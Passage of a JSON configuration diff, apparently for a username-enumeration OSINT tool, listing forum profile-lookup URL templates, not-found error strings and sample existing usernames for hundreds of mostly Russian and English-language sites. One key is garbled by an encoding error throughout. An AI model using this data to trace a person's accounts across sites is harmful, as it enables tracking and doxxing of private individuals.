"https://forum.quik.ru", + "usernameON": "swerg", + "comments": "super", + "bad_site": 1 + }, + "Forum_r1": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.r1-forum.com/members/?username={}", + "urlMain": "https://www.r1-forum.com", + "usernameON": "rabbit671", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_r3": { + "country": "🇨🇦", + "country_klas": "CA", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.r3-forums.com/members/?username={}", + "urlMain": "https://www.r3-forums.com", + "usernameON": "renboy", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_r4n": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Информация", + "errorMsg2": "сообщений не найдено", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://r4n.su/forum/search.php?keywords=&terms=all&author={}&sc=1&sf=all&sr=posts&sk=t&sd=d&st=0&ch=300&t=0&submit=%D0%9F%D0%BE%D0%B8%D1%81%D0%BA", + "urlMain": "http://r4n.su", + "usernameON": "43Radio43", + "bad_site": "" + }, + "Forum_r4u": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://r4u.ucoz.net/index/8-0-{}", + "urlMain": "https://r4u.ucoz.net", + "usernameON": "adqeep", + "bad_site": "" + }, + "Forum_r6": { + "country": "🇨🇦", + "country_klas": "CA", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.r6-forum.com/members/?username={}", + "urlMain": "https://www.r6-forum.com", + "usernameON": "tylerjones997", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_r8talk": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.r8talk.com/members/?username={}", + "urlMain": "https://www.r8talk.com", + "usernameON": "stevekcropper", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_ra1afe": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://ra1afe.ucoz.ru/index/8-0-{}", + "urlMain": "https://ra1afe.ucoz.ru", + "usernameON": "Admin", + "bad_site": "" + }, + "Forum_ra4a": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://ra4a.ru/index/8-0-{}", + "urlMain": "http://ra4a.ru", + "usernameON": "Admin", + "bad_site": "" + }, + "Forum_rabbitdogs": { + "country": "🇺🇸", + "country_klas": "US", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.rabbitdogs.net/members/?username={}", + "urlMain": "https://www.rabbitdogs.net", + "usernameON": "bigk", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Forum_racefans": { + "country": "🇬🇧", + "country_klas": "GB", + "exclusion": "\\W[а-яА-Я]", + "errorMsg": "You've crashed", + "errorMsg2": "One moment", + "errorTyp��": "message", + "url": "https://www.racefans.net/members/{}/", + "urlMain": "https://www.racefans.net", + "usernameON": "douglaswebster", + "bad_site": "" + }, + "Forum_racer": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://racer.do.am/index/8-0-{}", + "urlMain": "https://racer.do.am", + "usernameON": "Jessika", + "bad_site": "" + }, + "Forum_racketboy": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "Information", + "errorMsg2": "| Cloudflare", + "errorMsg3": "Please wait", + "errorTyp��": "message", + "url": "https://www.racketboy.com/forum/search.php?keywords=&terms=all&author={}&sc=1&sf=all&sr=posts&sk=t&sd=d&st=0&ch=300&t=0&submit=Search", + "urlMain": "https://www.racketboy.com", + "usernameON": "Limewater", + "bad_site": "" + }, + "Forum_radio1": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr>403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://www.radiodom.org/index/8-0-{}", + "urlMain": "http://www.radiodom.org", + "usernameON": "Andrew", + "bad_site": "" + }, + "Forum_radiotehnik72": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://radiotehnik72.ucoz.ru/index/8-0-{}", + "urlMain": "https://radiotehnik72.ucoz.ru", + "usernameON": "akhmalik72", + "bad_site": "" + }, + "Forum_rainbowhappy": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "url": "https://rainbowhappy.ucoz.ru/index/8-0-{}", + "urlMain": "https://rainbowhappy.ucoz.ru", + "usernameON": "FrankMate", + "bad_site": "", + "exclusion": "\\W" + }, + "Forum_rainmeter": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "No suitable matches were found.", + "errorMsg2": "Information", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://forum.rainmeter.net/search.php?keywords=&terms=all&author={}&sc=1&sf=all&sr=posts&sk=t&sd=d&st=0&ch=300&t=0&submit=Search", + "urlMain": "https://forum.rainmeter.net", + "usernameON": "Jeff", + "bad_site": "" + }, + "Forum_rakesh-jhunjhunwala": { + "country": "🇮🇳", + "country_klas": "IN", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://rakesh-jhunjhunwala.in/forum/members/?username={}", + "urlMain": "https://rakesh-jhunjhunwala.in", + "usernameON": "arjun", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_raks": { + "country": "🇺🇦", + "country_klas": "UA", + "errorMsg": "Подходящих тем или сообщений не найдено.", + "errorMsg2": "Пожалуйста, подождите", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://raks.com.ua/forum/search.php?keywords=&terms=all&author={}&sc=1&sf=all&sk=t&sd=d&sr=posts&st=0&ch=300&t=0&submit=%D0%9F%D0%BE%D0%B8%D1%81%D0%BA", + "urlMain": "https://raks.com.ua", + "usernameON": "irina", + "bad_site": "" + }, + "Forum_rakursy": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://rakursy.ucoz.ru/index/8-0-{}", + "urlMain": "https://rakursy.ucoz.ru", + "usernameON": "Schoroch", + "bad_site": "" + }, + "Forum_rakwireless": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://forum.rakwireless.com/u/{}/summary", + "urlMain": "https://forum.rakwireless.com", + "usernameON": "hobo", + "bad_site": "" + }, + "Forum_ram1500diesel": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.ram1500diesel.com/members/?username={}", + "urlMain": "https://www.ram1500diesel.com", + "usernameON": "kazimodo", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_ramenskoe1": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://ramenskoe1.ucoz.ru/index/8-0-{}", + "urlMain": "https://ramenskoe1.ucoz.ru", + "usernameON": "gorodisskyru", + "bad_site": "" + }, + "Forum_ranobes": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "0 результатов", + "errorMsg2": "Just a moment", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://forum.ranobes.com/search/?q={}&quick=1&type=core_members", + "urlMain": "https://forum.ranobes.com", + "comments": "cf", + "usernameON": "Jaeri", + "bad_site": "" + }, + "Forum_rarib": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "DDOS-GUARD</title", + "errorMsg2": "Информация", + "errorMsg3": "технические работы", + "errorTyp��": "message", + "url": "https://forum.rarib.ru/search.php?keywords=&terms=all&author={}&sc=1&sf=all&sr=posts&sk=t&sd=d&st=0&ch=300&t=0&submit=Поиск", + "urlMain": "https://forum.rarib.ag", + "usernameON": "kokky", + "bad_site": "" + }, + "Forum_rasmircoins": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://rasmircoins.ucoz.ru/index/8-0-{}", + "urlMain": "https://rasmircoins.ucoz.ru/", + "usernameON": "Faghouri", + "bad_site": "" + }, + "Forum_raspberrypi": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "No suitable matches were found.", + "errorMsg2": "| Cloudflare", + "errorMsg3": "Just a moment", + "errorTyp��": "message", + "url": "https://forums.raspberrypi.com/search.php?keywords=&terms=all&author={}&sc=1&sf=all&sr=posts&sk=t&sd=d&st=0&ch=300&t=0&submit=Search", + "urlMain": "https://forums.raspberrypi.com", + "usernameON": "adam", + "comments": "cf", + "ignore_status_code": true, + "bad_site": "" + }, + "Forum_ratsun": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "0 results", + "errorMsg2": "Please wait", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://ratsun.net/search/?q={}&quick=1&type=core_members", + "urlMain": "https://ratsun.net", + "usernameON": "datzenmike", + "bad_site": "" + }, + "Forum_ravnovesie": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://ravnovesie.ucoz.net/index/8-0-{}", + "urlMain": "https://ravnovesie.ucoz.net", + "usernameON": "Светлана", + "bad_site": "" + }, + "Forum_ray": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "[а-яА-Я]", + "url": "https://discuss.ray.io/u/{}/summary", + "urlMain": "https://discuss.ray.io", + "usernameON": "Lacruche", + "bad_site": "" + }, + "Forum_rayven": { + "country": "🇺🇦", + "country_klas": "UA", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://rayven.at.ua/index/8-0-{}", + "urlMain": "https://rayven.at.ua/", + "usernameON": "rayven", + "bad_site": "" + }, + "Forum_raznoe-vse": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://raznoe-vse.ucoz.ru/index/8-0-{}", + "urlMain": "https://raznoe-vse.ucoz.ru", + "usernameON": "egorsmirnowv", + "bad_site": "" + }, + "Forum_razrab": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Подходящих тем или сообщений не найдено.", + "errorMsg2": "Информация", + "errorTyp��": "message", + "url": "http://razrab.ru/search.php?keywords=&terms=all&author={}", + "urlMain": "http://razrab.ru", + "usernameON": "ibev", + "bad_site": "" + }, + "Forum_razvilka": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr>403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://rbk-portal.3dn.ru/index/8-0-{}", + "urlMain": "https://rbk-portal.3dn.ru", + "usernameON": "BeLoNe", + "bad_site": "" + }, + "Forum_rclone": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "[а-яА-Я]", + "url": "https://forum.rclone.org/u/{}", + "urlMain": "https://forum.rclone.org", + "usernameON": "Alexander_Andriishin", + "bad_site": "" + }, + "Forum_rcuniverse": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "not registered", + "errorMsg2": "Sorry", + "errorMsg3": "Please wait", + "errorTyp��": "message", + "url": "https://www.rcuniverse.com/forum/members/{}.html", + "urlMain": "https://www.rcuniverse.com", + "usernameON": "yuriy19", + "bad_site": "" + }, + "Forum_rdr2": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "0 results", + "errorMsg2": "Please wait", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://www.rdr2.org/forums/search/?q={}&quick=1&type=core_members", + "urlMain": "https://www.rdr2.org", + "usernameON": "Parzival", + "bad_site": "" + }, + "Forum_rdw": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403", + "errorTyp��": "message", + "url": "https://rdw.ucoz.ru/index/8-0-{}", + "urlMain": "https://rdw.ucoz.ru", + "usernameON": "jabbarhuusaincs", + "bad_site": "", + "exclusion": "\\W" + }, + "Forum_real-sp": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://real-sp.ucoz.com/index/8-0-{}", + "urlMain": "https://real-sp.ucoz.com", + "usernameON": "Yuriysap", + "bad_site": "" + }, + "Forum_realistzoosafety": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr>", + "errorMsg3": "banned", + "errorTyp��": "message", + "url": "https://forum.realsurf.com/forums/search.php?keywords=&terms=all&author={}&sc=1&sf=all&sr=posts&sk=t&sd=d&st=0&ch=300&t=0&submit=Search", + "urlMain": "https://forum.realsurf.com", + "usernameON": "admin", + "comments": "RUblock", + "bad_site": "" + }, + "Forum_rebkell": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "Sorry,", + "errorMsg2": "| Cloudflare", + "errorMsg3": "Critical Error", + "errorTyp��": "message", + "url": "https://boards.rebkell.net/profile.php?mode=viewprofile&u={}", + "urlMain": "https://boards.rebkell.net", + "usernameON": "rebkell", + "bad_site": "" + }, + "Forum_rebornbuddy": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "[а-яА-Я]", + "url": "https://rebornbuddy.com/xf/members/?username={}", + "urlMain": "https://rebornbuddy.com/", + "usernameON": "tony", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Forum_recoveryRU": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr>403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://region13.ucoz.ru/index/8-0-{}", + "urlMain": "https://region13.ucoz.ru", + "usernameON": "VVS15081", + "bad_site": "" + }, + "Forum_reiki-healing": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://reiki-healing-l.org/index/8-0-{}", + "urlMain": "http://reiki-healing-l.org", + "usernameON": "YaIrina1993", + "bad_site": "" + }, + "Forum_reklama-kiev": { + "country": "🇺🇦", + "country_klas": "UA", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403", + "errorTyp��": "message", + "url": "https://reklama-kiev.at.ua/index/8-0-{}", + "urlMain": "https://reklama-kiev.at.ua", + "usernameON": "dsgvolia", + "bad_site": "", + "exclusion": "\\W" + }, + "Forum_relationlibre": { + "country": "🇫🇷", + "country_klas": "FR", + "errorTyp��": "status_code", + "exclusion": "[а-яА-Я]", + "url": "https://relationlibre.com/participant/{}/", + "urlMain": "https://relationlibre.com", + "usernameON": "laeti", + "bad_site": "" + }, + "Forum_relax-kei": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://relax-kei.ucoz.ru/index/8-0-{}", + "urlMain": "https://relax-kei.ucoz.ru", + "usernameON": "ztaletnted", + "bad_site": "" + }, + "Forum_religion": { + "country": "🇫🇷", + "country_klas": "FR", + "errorMsg": "Aucun membre trouvé pour ce critère de recherche", + "errorMsg2": "Please wait", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://forum-religion.org/memberlist.php?username={}", + "urlMain": "https://forum-religion.org", + "usernameON": "Georges86", + "bad_site": "" + }, + "Forum_religion_s": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://religion.ucoz.ru/index/8-0-{}", + "urlMain": "https://religion.ucoz.ru", + "usernameON": "ArthurHip", + "bad_site": "" + }, + "Forum_rem-tv": { + "country": "🇺🇦", + "country_klas": "UA", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://rem-tv.at.ua/index/8-0-{}", + "urlMain": "https://rem-tv.at.ua", + "usernameON": "fanttom", + "bad_site": "" + }, + "Forum_remont-lipetsk": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://remont-lipetsk.3dn.ru/index/8-0-{}", + "urlMain": "https://remont-lipetsk.3dn.ru", + "usernameON": "mattmabwerce", + "bad_site": "" + }, + "Forum_remsanteh": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr><td colspan", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://remsanteh.borda.ru/?32-{}", + "urlMain": "https://remsanteh.borda.ru", + "usernameON": "aleyusha", + "bad_site": "" + }, + "Forum_remzona-ekb": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://remzona-ekb.ucoz.ru/index/8-0-{}", + "urlMain": "https://remzona-ekb.ucoz.ru", + "usernameON": "REMZONA", + "bad_site": "" + }, + "Forum_render_otoy": { + "country": "🇺🇸", + "country_klas": "US", + "errorMsg": "Information", + "errorMsg2": "Sorry, ", + "errorMsg3": "banned from this board", + "errorTyp��": "message", + "url": "https://render.otoy.com/forum/search.php?keywords=&terms=all&author={}&sc=1&sf=all&sr=posts&sk=t&sd=d&st=0&ch=300&t=0&submit=Search", + "urlMain": "https://render.otoy.com/", + "usernameON": "grazieromi", + "bad_site": "" + }, + "Forum_repolitics": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "0 results", + "errorMsg2": "Please wait", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://repolitics.com/forums/search/?q={}&quick=1&type=core_members", + "urlMain": "https://repolitics.com", + "usernameON": "Zeitgeist", + "bad_site": "" + }, + "Forum_reptile": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не выбран", + "errorMsg2": "Пожалуйста, подождите", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://www.reptile.ru/forum/member.php?action=viewpro&member={}", + "urlMain": "https://www.reptile.ru", + "usernameON": "Zoofond", + "bad_site": "" + }, + "Forum_reptileforums": { + "country": "🇬🇧", + "country_klas": "GB", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.reptileforums.co.uk/members/?username={}", + "urlMain": "https://www.reptileforums.co.uk", + "usernameON": "malc", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_res-publica": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://res-publica.ucoz.org/index/8-0-{}", + "urlMain": "https://res-publica.ucoz.org", + "usernameON": "PUBLIUS", + "bad_site": "" + }, + "Forum_reseau-js": { + "country": "🇫🇷", + "country_klas": "FR", + "errorMsg": "0 résultat", + "errorMsg2": "Veuillez patienter", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://forum.reseau-js.com/search/?q={}&quick=1&type=core_members", + "urlMain": "https://forum.reseau-js.com", + "usernameON": "loup", + "bad_site": "" + }, + "Forum_reseau-naturiste": { + "country": "🇫🇷", + "country_klas": "FR", + "errorTyp��": "status_code", + "exclusion": "[а-яА-Я]", + "url": "https://www.reseau-naturiste.org/user/{}", + "urlMain": "https://www.reseau-naturiste.org/", + "usernameON": "Sephora", + "bad_site": "" + }, + "Forum_respecta": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "0 results", + "errorMsg2": "Please wait", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://forum.respecta.net/search/?q={}&quick=1&type=core_members", + "urlMain": "https://forum.respecta.net/", + "usernameON": "NBN93", + "comments": "vzlom", + "bad_site": 1 + }, + "Forum_resto_clan": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://resto.clan.su/index/8-0-{}", + "urlMain": "https://resto.clan.su", + "usernameON": "Riminy", + "bad_site": "" + }, + "Forum_retrievertraining": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.retrievertraining.net/members/?username={}", + "urlMain": "https://www.retrievertraining.net", + "usernameON": "johndbarrow", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_rewar": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://rewar.me/index/8-0-{}", + "urlMain": "https://rewar.me/", + "usernameON": "mashery", + "bad_site": "" + }, + "Forum_rexmill": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://rexmill.ucoz.ru/index/8-0-{}", + "urlMain": "https://rexmill.ucoz.ru/", + "usernameON": "mun686", + "bad_site": "" + }, + "Forum_rezzoclub": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://www.rezzoclub.ru/index/8-0-{}", + "urlMain": "http://www.rezzoclub.ru", + "usernameON": "Rapidrezzo", + "bad_site": "" + }, + "Forum_rg_myqip": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr><td colspan", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://rg.myqip.ru/?32-{}", + "urlMain": "https://rg.myqip.ru", + "usernameON": "marii", + "bad_site": "" + }, + "Forum_rhytmic": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr><td colspan", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://rhytmic.borda.ru/?32-{}", + "urlMain": "https://rhytmic.borda.ru", + "usernameON": "mammy", + "bad_site": "" + }, + "Forum_ribalka": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://ribalka.ucoz.org/index/8-0-{}", + "urlMain": "http://ribalka.ucoz.org", + "usernameON": "Андрей0508", + "bad_site": "" + }, + "Forum_richelieu": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr>403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://rieltori.narod2.ru/index/8-0-{}", + "urlMain": "http://rieltori.narod2.ru", + "usernameON": "natayovzhik", + "bad_site": "" + }, + "Forum_riga-luna": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://riga-luna.ucoz.ru/index/8-0-{}", + "urlMain": "https://riga-luna.ucoz.ru", + "usernameON": "Talahassy", + "bad_site": "" + }, + "Forum_rima-pendzhieva": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://rima-pendzhieva.ucoz.ru/index/8-0-{}", + "urlMain": "https://rima-pendzhieva.ucoz.ru", + "usernameON": "morozov2112", + "bad_site": "" + }, + "Forum_rio4": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://rio4.ucoz.ru/index/8-0-{}", + "urlMain": "https://rio4.ucoz.ru/", + "usernameON": "Fakskaxip", + "bad_site": "" + }, + "Forum_rivianowners": { + "country": "🇺🇸", + "country_klas": "US", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.rivianownersforum.com/members/?username={}", + "urlMain": "https://www.rivianownersforum.com", + "usernameON": "swampnut", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_rkls76": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://rkls76.ucoz.ru/index/8-0-{}", + "urlMain": "https://rkls76.ucoz.ru", + "usernameON": "JosephBon", + "bad_site": "" + }, + "Forum_rks": { + "country": "🇺🇦", + "country_klas": "UA", + "errorMsg": "Извините, такого пользователя не существует ", + "errorMsg2": " :: ", + "errorTyp��": "message", + "url": "https://forum.rks.kr.ua/profile.php?mode=viewprofile&u={}", + "urlMain": "https://forum.rks.kr.ua", + "usernameON": "Mistika24", + "bad_site": "" + }, + "Forum_rllmukforum": { + "country": "🇬🇧", + "country_klas": "GB", + "errorMsg": "0 results", + "errorMsg2": "Sorry", + "errorMsg3": "Please wait", + "errorTyp��": "message", + "url": "https://www.rllmukforum.com/index.php?/search/&q={}&quick=1&type=core_members", + "urlMain": "https://www.rllmukforum.com", + "usernameON": "yakumo", + "bad_site": "" + }, + "Forum_rmmedia": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Указанный пользователь не найден. Пожалуйста, введите другое имя.", + "errorMsg2": "<title>Полезные пользователи | Rmmedia.ru", + "errorMsg3": "Пожалуйста, подождите", + "errorTyp��": "message", + "url": "https://rmmedia.ru/members/?username={}", + "urlMain": "https://rmmedia.ru", + "usernameON": "adam", + "bad_site": "" + }, + "Forum_rmrp": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://forum.rmrp.ru/members/?username={}", + "urlMain": "https://forum.rmrp.ru", + "usernameON": "alqoile", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_roadbikereview": { + "country": "🇨🇦", + "country_klas": "CA", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.roadbikereview.com/members/?username={}", + "urlMain": "https://www.roadbikereview.com", + "usernameON": "finx", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_roadcontrol_BLOCK_RU_IP": { + "country": "🇺🇦", + "country_klas": "UA", + "errorMsg": "Подходящих тем или сообщений не найдено", + "errorMsg2": "Информация", + "errorMsg3": "page_pageNotFound", + "errorTyp��": "message", + "url": "https://roadcontrol.org/forum/search.php?keywords=&terms=all&author={}", + "urlMain": "https://roadcontrol.org", + "usernameON": "%D0%90ndrew", + "bad_site": "" + }, + "Forum_rock-metalwave": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://rock-metal-wave.ru/index/8-0-{}", + "urlMain": "https://rock-metal-wave.ru", + "usernameON": "0919swdsnb", + "bad_site": "" + }, + "Forum_rodgers": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "профиль забанен или удален", + "errorMsg2": "NoneNone", + "errorTyp��": "message", + "exclusion": "[а-яА-Я]", + "url": "https://rodgersforum.borda.ru/?32-{}", + "urlMain": "https://rodgersforum.borda.ru", + "usernameON": "hata1979", + "bad_site": "" + }, + "Forum_rodniki": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": 